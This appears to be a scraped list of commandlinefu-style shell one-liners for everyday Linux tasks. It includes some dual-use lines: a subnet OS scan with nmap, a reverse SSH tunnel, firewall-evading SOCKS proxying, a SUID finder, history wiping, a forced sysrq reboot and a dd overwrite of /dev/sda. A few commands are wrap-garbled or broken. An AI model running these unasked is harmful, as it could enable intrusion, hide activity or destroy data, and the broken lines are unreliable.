# List only the directories
tree -dL 1
# How many Linux and Windows devices are on your network?
sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices"
# Shows physically connected drives (SCSI or SATA)
ls /sys/bus/scsi/devices
# Switch to the previous branch used in git(1)
git checkout -
# Burst a Single PDF Document into Single Pages and Report its Data to doc_data.
txtpdftk mydoc.pdf burst
# Browse shared folder when you're the only Linux user
smbclient -U userbob //10.1.1.75/Shared
# show all key and mouse events
xev
# Find out what the day ends in
date +%A | tail -2c
# Instant mirror from your laptop + webcam
mplayer tv:// -vf mirror
# embed referred images in HTML files
grep -ioE "(url\(|src=)['\"]?[^)'\"]*" a.html | grep -ioE "[^\"'(]*.(jpg|png|gif)" | while read l ; do sed -i "s>$l>data:image/${l/[^.]*./};base64,`openssl enc -base64 -in $l| tr -d '\n'`>" a.html ; done;
# Arch Linux sort installed packages by size
paste <(pacman -Q | awk '{ print $1; }' | xargs pacman -Qi | grep 'Size' | awk '{ print $4$5; }') <(pacman -Q | awk '{print $1; }') | sort -n | column -t
# Convert your favorite image in xpm for using in grub
convert image123.png -colors 14 -resize 640x480 grubimg.xpm
# Top 10 requestors by IP address from Apache/NCSA Logs
awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10
# recursive search and replace old with new string, inside files
$rpl -R oldstring newstring folder
# In place line numbering
{ rm -f file10 && nl > file10; } < file10
# Rsync files with spaces
rsync [options] -- * target
# Prepare B&W scans for clean looking, searchable PDF
convert pagexxx.png -filter Cubic -resize 200% -threshold 50% -compress Group4 pagexxx.tiff; tiff2pdf -z -p letter -ro -x 1200 -y 1200 -o pagexxx.pdf pagexxx.tiff
# Merge files, joining each line in one line
paste file1 file2 fileN > merged
# MySQL dump restore with progress bar and ETA
pv bigdump.sql.gz | gunzip | mysql
# Randomize lines in a file
sort -R SOMEFILE
# Change the homepage of Firefox
sed -i 's|\("browser.startup.homepage",\) "\(.*\)"|\1 "http://sliceoflinux.com"|' .mozilla/firefox/*.default/prefs.js
# Find which jars contain a class
find . -name "*.jar" | while read file; do echo "Processing ${file}"; jar -tvf $file | grep "Foo.class"; done
# Get a shell with a not available account
su - <user> -s /bin/sh -c "/bin/sh"
# GRUB2: set Super Mario as startup tune
sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub && update-grub'
# How many days until the end of the year
echo "There are $(($(date +%j -d"Dec 31, $(date +%Y)")-$(date +%j))) left in year $(date +%Y)."
# Show Shared Library Mappings
ldconfig -p
# Set an alarm to wake up
sleep 5h && rhythmbox path/to/song
# Get absolut path to your bash-script
PATH=$(cd ${0%/*}; pwd)
# STAT Function showing ALL info, stat options, and descriptions
statt(){ C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column -ts^; }
# Resize photos without changing exif
mogrify -format jpg -quality 80 -resize 800 *.jpg
# Print stack trace of a core file without needing to enter gdb interactively
alias gdbbt="gdb -q -n -ex bt -batch"
# clone an USB stick using dd + see its process
dd if=/dev/sdc of=/dev/sdd  conv=notrunc & while killall -USR1 dd; do sleep 5; done
# download file1 file2 file3 file4 .... file 100
wget http://domain.com/file{1..100}
# Merge several pdf files into a single file
pdftk $* cat output $merged.pdf
# make 100 directories with leading zero, 001...100, using bash3.X
mkdir $(printf '%03d\n' {1..100})
# converting horizontal line to vertical line
tr '\t' '\n' < inputfile
# Repeat a portrait eight times so it can be cut out from a 6"x4" photo and used
 for visa or passport photosmontage 2007-08-25-3685.jpg +clone -clone 0-1 -clone 0-3 -geometry 500 -frame 5 output.jpg
# Watch your freebox flux, through a other internet connection (for French users
)vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout '#transcode{vcodec=mp2v,vb=384,scale=0.5,acodec=vorbis,ab=48,channels=1}:standard{access=http,mux=ogg,url=:12345}' -I ncurses 2> /dev/null
# Take a screenshot of the window the user clicks on and name the file the same 
as the window titlesleep 4; xwd >foo.xwd; mv foo.xwd "$(dd skip=100 if=foo.xwd bs=1 count=256 2>/dev/null | egrep -ao '^[[:print:]]+' | tr / :).xwd"
# Use result of the last command
`!!`
# Most simple way to get a list of open ports
netstat -lnp
# List files by quoting or escaping special characters.
ls --quoting-style={escape,shell,c}
# Show your account and windows policy settings with Results of Policy msc.
rsop.msc
# send file to remote machine and unzip using ssh
ssh user@host 'gunzip - > file' < file.gz
# To have only unique lines in a file
sort file1.txt | uniq > file2.txt
# Convert df command to posix; uber GREPable
df -P
# Change Title of Terminal Window to Verbose Info useful at Login
echo -ne "\033]0;`id -un`:`id -gn`@`hostname||uname -n|sed 1q` `who -m|sed -e "s%^.* \(pts/[0-9]*\).*(\(.*\))%[\1] (\2)%g"` [`uptime|sed -e "s/.*: \([^,]*\).*/\1/" -e "s/ //g"` / `ps aux|wc -l`]\007"
# Run local bash script on remote server
ssh -T user@server < script.sh
# enable all bash completions in gentoo
for x in $(eselect bashcomp list | sed -e 's/ //g' | cut -d']' -f2 | sed -e 's/\*//');do eselect bashcomp enable $x --global;sleep 0.5s;done
# Printable random characters
tr -dc '[:print:]' < /dev/urandom
# Print line immediately before a matching regex.
awk '/regex/{print x};{x=$0}'
# list all hd partitions
awk '/d.[0-9]/{print $4}' /proc/partitions
# floating point operations in shell scripts
bc -l <<< s(3/5)
# Remove Thumbs.db files from folders
rm -f **/Thumbs.db
# send a .loc file to a garmin gps over usb
gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:
# List last opened tabs in firefox browser
F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done
# Find jpeg images and copy them to a central location
find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} &
# Lock your KDE4 remotely (via regular KDE lock)
DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &
# Uniformly correct filenames in a directory
for i in  *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done
# Compare two files side-by-side
sdiff file1 file2
# remote-pbzip2 and transfer a directory to local file
ssh user@host 'tar -c --use-compress-prog=pbzip2 /<dir>/<subdir>' > <localfile>.tar.bz2
# SVN Status log to CSV
svn log |  tr -d '\n' | sed -r 's/-{2,}/\n/g' | sed -r 's/ \([^\)]+\)//g' | sed -r 's/^r//' | sed -r "s/[0-9]+ lines?//g" | sort -g
# Generate 10 pronunciable passwords
apg -a 0 -n 10
# formatting number with comma
printf "%'d\n" 1234567
# Simulate typing
echo "You can have a bit more realistic typing with some shell magic." | pv -qL $[10+(-2 + RANDOM%5)]
# list and sort files by size in reverse order (file size in human readable outp
ut)ls -S -lhr
# Send a local file via email
mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg </dev/null
# force a rescan on a host of scsi devices (useful for adding partitions to vmwa
re on the fly)echo "- - -" > /sys/class/scsi_host/host0/scan
# calulate established tcp connection of local machine
netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}'
# Analyse compressed Apache access logs for the most commonly requested pages
zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20
# Adjust gamma so monitor doesn't mess up your body's clock
xrandr | sed -n 's/ connected.*//p' | xargs -n1 -tri xrandr --output {} --brightness 0.7 --gamma 2:3:4
# Console clock -- within screen
echo 'hardstatus alwayslastline " %d-%m-%y %c:%s | %w"' >> $HOME/.screenrc; screen
# find and grep Word docs
find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4 search_term;
# List all TCP opened ports on localhost in LISTEN mode
netstat -nptl
# Convert files from DOS line endings to UNIX line endings
perl -pi -e 's/\r\n?/\n/g'
# Find the ratio between ram usage and swap usage.
sysctl -a | grep vm.swappiness
# Getting GnuPG Public Keys From KeyServer
gpg --keyserver pgp.surfnet.nl --recv-key 19886493
# Find out what package some command belongs to (on RPM systems)
rpm -qif `which more`
# Monitor a file with tail with timestamps added
tail -f file | while read line; do printf "$(date -u '+%F %T%z')\t$line\n"; done
# Word-based diff on reformatted text files
diff -uw <(fmt -1 {file1, file2})
# Displays process tree of all running processes
pstree -Gap
# Extract track 9 from a CD
mplayer -fs cdda://9 -ao pcm:file=track9.wav
# List all execs in $PATH, usefull for grepping the resulting list
find ${PATH//:/ } -executable -type f -printf "%f\n"
# Save a file you edited in vim without the needed permissions - (Open)solaris v
ersion with RBAC:w !pfexec tee %
# Using netcat to copy files between servers
On target: "nc -l 4000 | tar xvf -" On source: "tar -cf - . | nc target_ip 4000"
# Are the two lines anagrams?
(echo foobar; echo farboo) | perl -E 'say[sort<>=~/./g]~~[sort<>=~/./g]?"anagram":"not anagram"'
# List your MACs address
ip link | awk '/link/ {print $2}'
# Delete C style comments using vim
vim suite.js -c '%s!/\*\_.\{-}\*/!!g'
# Edit all files found having a specific string found by grep
grep -Hrli 'foo' * | xargs vim
# Clear your history saved into .bash_history file!
history -c && rm -f ~/.bash_history
# Bash autocomplete case insensitive search
shopt -s nocaseglob
# Alternative size (human readable) of files and directories (biggest last)
du -ms * .[^.]*| sort -nk1
# Find and display most recent files using find and perl
find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail
# Print a row of characters across the terminal
printf -v row "%${COLUMNS}s"; echo ${row// /#}
# run command on a group of nodes in parallel redirecting outputs
xargs -n1 -P100 -I{} sh -c 'ssh {} uptime >output/{} 2>error/{}' <hostlist
# get function's source
typeset -f <function name>; declare -f <function name>
# To get the CPU temperature continuously on the desktop
while :; do acpi -t | osd_cat -p bottom ; sleep 1; done &
# download a sequence of vim patch
seq -f"ftp://ftp.vim.org/pub/vim/patches/7.1/7.1.%03g" 176 240 | xargs -I {} wget -c  {};
# Command to Show a List of Special Characters for bash prompt (PS1)
alias PS1="man bash | sed -n '/ASCII bell/,/end a sequence/p'"
# Forget remembered path locations of previously ran commands
hash -r
# Change SSH RSA passphrase
ssh-keygen -f ~/.ssh/id_rsa -p
# Copy sparse files
cp --sparse=always <SRC> <DST>
# Find Out My Linux Distribution Name and Version
cat /etc/*-release
# Kill most recently created process.
pkill -n firefox
# List top 20 IP from which TCP connection is in SYN_RECV state
netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20
# total text files in current dir
file -i * | grep -c 'text/plain'
# View the latest astronomy picture of the day from NASA.
apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep -Pom1 'image/\d+/.*\.\w+');}
# Who has the most Apache connections.
netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c IPHERE
# Clone current directory into /destination verbosely
find . | cpio -pumdv /destination
# Turn shell tracing and verbosity (set -xv) on/off with 1 command!
xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac }
# Monitor a file with tail with timestamps added
tail -f file |xargs -IX printf "$(date -u)\t%s\n" X
# Count all conections estabilished on gateway
cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#
# Catch a proccess from a user and strace it.
x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi;  done; strace -vvtf -s 256  -p $process
# Reverse ssh
#INSIDE-host# ssh -f -N -R 8888:localhost:22 [email protected] # #OUTSIDE-host
#ssh user@localhost -p 8888#
# List all installed PERL modules by CPAN
perldoc perllocal
# find listening ports by pid
lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'
# Watch the progress of 'dd'
pkill -USR1 ^dd$
# Export log to html file
cat /var/log/auth.log | logtool -o HTML > auth.html
# Localize provenance of current established connections
for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done
# Hex math with bc
echo 'obase=16; C+F' | bc
# Scan for new SCSI devices
echo "- - -" > /sys/class/scsi_host/host0/scan
# geoip lookup
geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}
# Get file access control list
getfacl /mydir
# Ultimate current directory usage command
du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done
# Remove color codes (special characters) with sed
sed -r "s:\x1B\[[0-9;]*[mK]::g"'
# Add all files not under subversion control
for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;
# Currency Conversion
currency_convert() {   wget -qO- "http://www.google.com/finance/converter?a=$1&from=$2&to=$3&hl=es" |  sed '/res/!d;s/<[^>]*>//g'; }
# list files with last modified at the end
alias lrt='ls -lart'
# Batch File Rename with awk and sed
ls foo*.jpg | awk '{print("mv "$1" "$1)}' | sed 's/foo/bar/2' | /bin/sh
# Display time of accounts connection on a system
ac -p
# ISO info
isoinfo -d -i filename.iso
# Get your commandlinefu points (upvotes - downvotes)
username=bartonski;curl -s http://www.commandlinefu.com/commands/by/$username/json|perl -e 'BEGIN{$s=0;$n=0};END{print "Score: $s\nEntries: $n\nMean: ";printf "%3.2f\n",$s/$n}' -0173 -nae 'foreach $f (@F){if($f =~ /"votes":"(-*\d+)"/){$s += $1; $n++;}}'
# Minimize Apps When Middle Clicking on Titlebar
gconftool-2 --set "/apps/metacity/general/action_middle_click_titlebar" --type string "minimize"
# Display a list of all PHP classes that are called statically
find . -name "*\.php" | xargs grep -o --color "\w\+::\w\+" | cut -d":" -f2 | sort | uniq -c
# Runs a command without hangups.
nohup <command> &
# Empty the linux buffer cache
sync && echo 3 > /proc/sys/vm/drop_caches
# print all except first collumn
cut -f 2- -d " "
# Binary clock
for a in $(date +"%H%M"|cut -b1,2,3,4 --output-delimiter=" ");do case "$a" in 0)echo "....";;1)echo "...*";;2)echo "..*.";;3)echo "..**";;4)echo ".*..";;5)echo ".*.*";;6)echo ".**.";;7)echo ".***";;8)echo "*...";;9)echo "*..*";;esac;done
# List all active access_logs for currently running Apache or Lighttpd process
lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}'
# Prevent non-root users from logging in
touch /etc/nologin
# Quickly Encrypt a file with gnupg and email it with mailx
cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" [email protected]
# Binary clock
read -a A <<<"8 9 5 10 6 0 3 11 7 4";B='.*.**..*....***';for C in $(date +"%H%M"|fold -w1);do echo "${B:${A[C]}:4}";done
# exit if another instance is running
if [ `fuser $0|wc -w` -gt "1" ];then exit; fi
# output stats from a running dd command to see its progress
watch -n60 --kill -USR1 $(pgrep dd)
# Gives you what's between first string and second string included.
sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep "^ABC"  | tr "~" "\n"
# List of directories sorted by number of files they contain.
sort -n <( for i in $(find . -maxdepth 1 -mindepth 1 -type d); do echo $(find $i | wc -l) ": $i"; done;)
# find files larger than 1 GB, everywhere
find / -type f -size +1000000000c
# Get Futurama quotations from slashdot.org servers
lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//'
# Rename files with vim.
qmv -fdo
# Convert string to uppercase
echo string | tr '[:lower:]' '[:upper:]'
# Restore a local drive from the image on remote host via ssh
ssh user@server 'dd if=sda.img' | dd of=/dev/sda
# Show sorted list of files with sizes more than 1MB in the current dir
du | sort -nr | cut -f2- | xargs du -hs
# Get your commandlinefu points (upvotes - downvotes)
curl -s http://www.commandlinefu.com/commands/by/$1/xml | awk -F'</?div[^>]*>' '/class=\"command\"/{gsub(/&quot;/,"\"",$2); gsub(/&lt;/,"<",$2); gsub(/&gt;/,">",$2); gsub(/&amp;/,"\\&",$2); cmd=$2} /class=\"num-votes\"/{printf("%3i  %s\n", $2, cmd)}'
# find broken symbolic links
find -L . -type l
# Size (in bytes) of all RPM packages installed
echo $((`rpm -qa --queryformat='%{SIZE}+' | sed 's/+$//'`))
# rename all jpg files with a prefix and a counter
ls *.jpg | grep -n ""  | sed 's,.*,0000&,' | sed 's,0*\(...\):\(.*\).jpg,mv "\2.jpg" "image-\1.jpg",' | sh
# Remount root in read-write mode.
sudo mount -o remount,rw /
# make directory with current date
mkdir $(date +%Y_%m_%d)
# Copy from host 1 to host 2 through your host
ssh root@host1 ?cd /somedir/tocopy/ && tar -cf ? .? | ssh root@host2 ?cd /samedir/tocopyto/ && tar -xf -?
# Pick a random image from a directory (and subdirectories) every thirty minutes
 and set it as xfce4 wallpaperwhile :; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)"; sleep 30m; done
# grep across a git repo and open matching files in gedit
git grep -l "your grep string" | xargs gedit
# Show current pathname in title of terminal
export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'
# give me back my sound card
lsof /dev/snd/pcm*p /dev/dsp | awk ' { print $2 }' | xargs kill
# Debug SSH at the Maximum Verbosity Level
alias sshv='ssh -vvv -o LogLevel=DEBUG3'
# Copy input sent to a command to stderr
rev <<< 'lorem ipsum' | tee /dev/stderr | rev
# fetch all revisions of a specific file in an SVN repository
svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
# type partial command, kill this command, check something you forgot, yank the 
command, resume typing.dd [...] p
# Prepend a text to a file.
sed -i '1s/^/text to prepend\n/' file1
# sorting file contents into individual files with awk
awk '{print > $3".txt"}' FILENAME
# doing some floating point math
echo "8000000/(20*6*86400)" | bc -l
# Puts every word from a file into a new line
tr ' \t' '\n' <INFILE >OUTFILE
# Read aloud a text file in Ubuntu (and other Unixes with espeak installed
espeak -f text.txt
# get colorful side-by-side diffs of files in svn with vim
vimdiff <(svn cat "$1") "$1"
# List only directories, one per line
ls -1d */
# Recursively scan directories for mp3s and pass them to mplayer
rm -rf /tmp/playlist.tmp &&  find ~/mp3  -name *.mp3 > /tmp/playlist.tmp && mplayer -playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing
# Install Linux Kernel Headers
sudo apt-get install linux-headers-$(uname -r)
# Gzip files older than 10 days matching *
find . -type f -name "*" -mtime +10 -print -exec gzip {} \;
# Random colours at random locations
p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while :;do p; sleep .001;done
# Awk: Perform a rolling average on a column of data
awk 'BEGIN{size=5} {mod=NR%size; if(NR<=size){count++}else{sum-=array[mod]};sum+=$1;array[mod]=$1;print sum/count}' file.dat
# pimp text output e.g. "Linux rocks!" to look nice
cowsay Linux rocks!
# Listing only one repository with yum
yum --disablerepo=* --enablerepo=epel list available
# Create a backup copy of a MySQL database on the same host
mysqldump OLD_DB | cat <(echo "CREATE DATABASE NEW_DB; USE NEW_DB;") - | mysql
# List only directories, one per line
find . -type d -maxdepth 1
# replace a character/word/string in a file using vim
:%s/old/new/g
# Check if you need to run LaTeX to update the TOC
cp texfile.toc texfile.toc.bak; latex texfile.tex; cmp -s texfile.toc texfile.toc.bak; if [ $? -ne 0 ]; then latex texfile.tex; fi
# Force hard reset on server
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
# remove files and directories with acces time older than a given date
touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy
# pimp text output e.g. "Linux rocks!" to look nice
figlet Linux rocks!
# display a smiling smiley if the command succeeded and a sad smiley if the comm
and failed<commmand>; if [[ "$?" = 0 ]]; then echo ':)'; else echo ':('; fi
# Short URLs with is.gd
isgd() { /usr/bin/wget -qO - "http://is.gd/create.php?format=simple&url=$1" ;}
# Time Synchronisation with NTP
ntpdate ntp.ubuntu.com pool.ntp.org
# Speaking alarm clock
sleep 8h && while [ 1 ] ; do date "+Good Morning. It is time to wake up. The time is %I %M %p" | espeak -v english -p 0 -s 150 -a 100 ; sleep 1m; done
# split source code to page with numbers
pr -l 40 bitree.c > printcode; split -40 printcode -d page_
# Update Ping.fm status
curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post
# Commit command to history file immedeately after execution
PROMPT_COMMAND="history -a"
# Burn a directory of mp3s to an audio cd.
alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp'
# Analyze, check, auto-repair and optimize Mysql Database
mysqlcheck -a --auto-repair -c -o -uroot -p [DB]
# Generate the CPU utilization report
sar -u 2 5
# Dump HTTP header using wget
wget --server-response --spider http://www.example.com/
# cooking a list of numbers for calculation
echo $( du -sm /var/log/* | cut -f 1 ) | sed 's/ /+/g'
# See entire packet payload using tcpdump.
tcpdump -nnvvXSs 1514 -i <device> <filters>
# View acceptable client certificate CA names asked for during SSL renegotiation
sopenssl s_client -connect www.example.com:443 -prexit
# diff output of two commands
diff <(tail -10 file1) <(tail -10 file2)
# Display command lines visible on commandlinefu.com homepage
ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com"))/".command").each{|c| puts c.to_plain_text}'
# Set creation timestamp of a file to the creation timestamp of another
touch -r "$FILE1" "$FILE2"
# Restore user,group and mod of an entire website
alias restoremod='chgrp users -R .;chmod u=rwX,g=rX,o=rX -R .;chown $(pwd |cut -d / -f 3) -R .'
# Prints new content of files
tail -f file1 (file2 .. fileN)
# Remove annoying files from recently extracted zip archive
unzip -lt foo.zip  | grep testing | awk '{print $2}' | xargs rm -r
# Test a serial connection
host A: cat /proc/dev/ttyS0    host B: echo hello > /dev/ttyS0
# Find all files currently open in Vim and/or gVim
vim -r 2>&1 | grep '\.sw.' -A 5 | grep 'still running' -B 5
# Display Motherboard Info
dmidecode -t baseboard
# backup your playstation game using rip
$ cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver generic-mmc-raw FILE_NAME.toc
# unbuffered python output
$ python -u script.py
# Sum file sizes
du -scb
# Netstat Connection Check
netstat -ntu | awk '{print $5}' |  cut -d: -f1 | sort | uniq -c | sort -n | tail
# record the input of your sound card into ogg file
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
# Scrollable Colorized Long Listing - Hidden Files Sorted Last
less -Rf <( cat <(ls -l --color=always) <(ls -ld --color=always .*) )
# Launch a game, like Tetris, when apt-get installing an app larger than 50 Mega
bytesAPP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After this operation, \([0-9]\{1,\}\).*MB.*/\1/p') -gt 50 ]; then gnometris 2>/dev/null & sudo apt-get install $APP; else sudo apt-get install $APP; fi
# diff two svn repos ignoring spaces,tabs and svnfiles
diff -wubBEr -x .svn dirA dirB
# The program listening on port 8080 through IPv6
lsof -Pnl +M -i6:8080
# Run a command on a remote machine
ssh user@host "ps aux | grep httpd | wc -l"
# Grab a list of MP3s out of Firefox's cache
find ~/.mozilla/firefox/*/Cache -exec file {} \; | awk -F ': ' 'tolower($2)~/mpeg/{print $1}'
# Import/clone a Subversion repo to a git repo
git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir
# read a file line by line and perform some operation on each line
while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt
# Show memory stats on Nexenta/Solaris
echo ::memstat | mdb -k
# Prints any IP out of a file
perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt
# Show bash's function definitions you defined in .bash_profile or .bashrc
declare -f [ function_name ]
# Open Remote Desktop (RDP) from command line having a custom screen size
xfreerdp --plugin rdpsnd -g 1280x720 -a 24 -z -x m -u $username -p $password 10.20.30.40
# Pull Total Memory Usage In Virtual Environment
ps axo rss,comm | awk '{sum+=$1; print $1/1024, "MB - ", $2} END {print "\nTotal RAM Used: ", sum/1024, "MB\n"}'
# Make backups recurse through directories
find -type -f -exec cp {} {}.bak \;
# Search for an active process without catching the search-process
ps -ef | awk '/process-name/ && !/awk/ {print}'
# On Screen micro display for battery and CPU temperature. nifty, small, omnipre
sentacpi -t | osd_cat -p bottom
# Speed up upgrades for a debian/ubuntu based system.
sudo aptitude update; sudo apt-get -y --print-uris upgrade | egrep -o -e "http://[^\']+" | sudo aria2c -c -d /var/cache/apt/archives -i -; sudo aptitude -y safe-upgrade
# Cheap iftop
watch 'netstat -anptu |egrep "^Proto|:80 "'
# Delete empty directories recursively
find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \;
# Remove all mail in Postfix mail queue.
postsuper -d ALL
# Schedule a command while one is already running.
a command is running... <^z> fg; scheduled_command
# Find all dot files and directories
ls -d .*
# Get just the IP for a hostname
getent hosts google.com | awk '{print $1}'
# Find default gateway (proper at ppp connections too)
route -n | perl -ne '$ANY="0.0.0.0"; /^$ANY/ and split /\s+/ and print "Gateway to the World: ",($_[1]!=$ANY)?$_[1]:(`ip address show $_[$#_]`=~/peer ([0-9\.]+)/ and $1),", via $_[$#_].\n"'
# Mac OS X: Change Color of the ls Command
export LSCOLORS=gxfxcxdxbxegedabagacad
# ping a host until it responds, then play a sound, then exit
beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; }
# Download a new release of a program that you already have very quickly
zsync -i existing-file-on-disk.iso http://example.com/new-release.iso.zsync
# Does a traceroute. Lookup and display the network or AS names and AS numbers.
lft -NAS google.com
# Start a SOCKS proxy to avoid a restrictive firewall
autossh -N -D localhost:1080 myhome.example.net -p 443
# Search inside a folder of jar/zip files
find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"
# Simple way to envoke a secure vnc session through ssh enabled router.
vncviewer -via [email protected] 192.168.1.1
# Find all files with root SUID or SGID executables
sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \) -ls
# Juste a reminder that this works.
true || false && echo true || echo false
# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
ls -l --time-style=+%Y-%m-%d | awk "/$(date +'%Y-%m-%d')/ {print \$7}"
# List your MACs address
sort -u < /sys/class/net/*/address
# Create a html of information about you harddisk
lshw -C disk -html > /tmp/diskinfo.html
# Alternative size (human readable) of files and directories (biggest last)
du -ms * | sort -nk1
# Check a server is up. If it isn't mail me.
curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' [email protected]
# Replace Caps-lock with Control-key
xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'
# Extract IPv4 addressess from file
grep  -Eo  \([0-9]\{1,3\}[\.]\)\{3\}[0-9] file | sort | uniq
# continuously check size of files or directories
watch -n <time_interval> "du -s <file_or_directory>"
# Compare two CSV files, discarding any repeated lines
cat foo.csv bar.csv | sort -t "," -k 2 | uniq
# Extract title from HTML files
awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' file.html
# remove lines which are longer than 255
sed -n '/^.\{255\}/!p'
# Alias to edit and source your .bashrc file
alias vb='vim ~/.bashrc; source ~/.bashrc'
# List all symbolic links in current directory
\ls -1 | xargs -l readlink
# Multi line grep using sed and specifying open/close tags
cat file.txt | sed -e /<opening tag>/d -e /<closing tag>/G | sed -e '/./{H;$!d;}' -e 'x;/<string to search>/!d;'
# send tweets to twitter (and get user details)
curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json
# Show log message including which files changed for a given commit in git.
git --no-pager whatchanged -1 --pretty=medium <commit_hash>
# List all symbolic links in current directory
ls -lah | grep ^l
# Slightly better compressed archives
find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best > a.tar.bz2
# Find the real procesor speed when you use CPU scaling [cpuspeed]
awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }' /proc/cpuinfo ; dmidecode | awk -F": " '/Current Speed/ { print "Processor real speed is: " $2 }'
# copy from host1 to host2, through your host
ssh user@<source_host> -- tar cz <path> | ssh user@<destination_host> -- tar vxzC <path>
# Count accesses per domain
cut -d'/' -f3 file | sort | uniq -c
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep 'inet addr' | cut -d ':' -f 2 | cut -d ' ' -f 1
# Show Directories in the PATH Which does NOT Exist
ls -d $(echo ${PATH//:/ }) > /dev/null
# vi case insensitive search
:set ic
# Burn an ISO on the command line.
cdrecord -v speed=4 driveropts=burnfree dev=/dev/scd0 cd.iso
# Grep log between range of minutes
grep -i "$(date +%b" "%d )13:4[0-5]" syslog
# Print number of mb of free ram
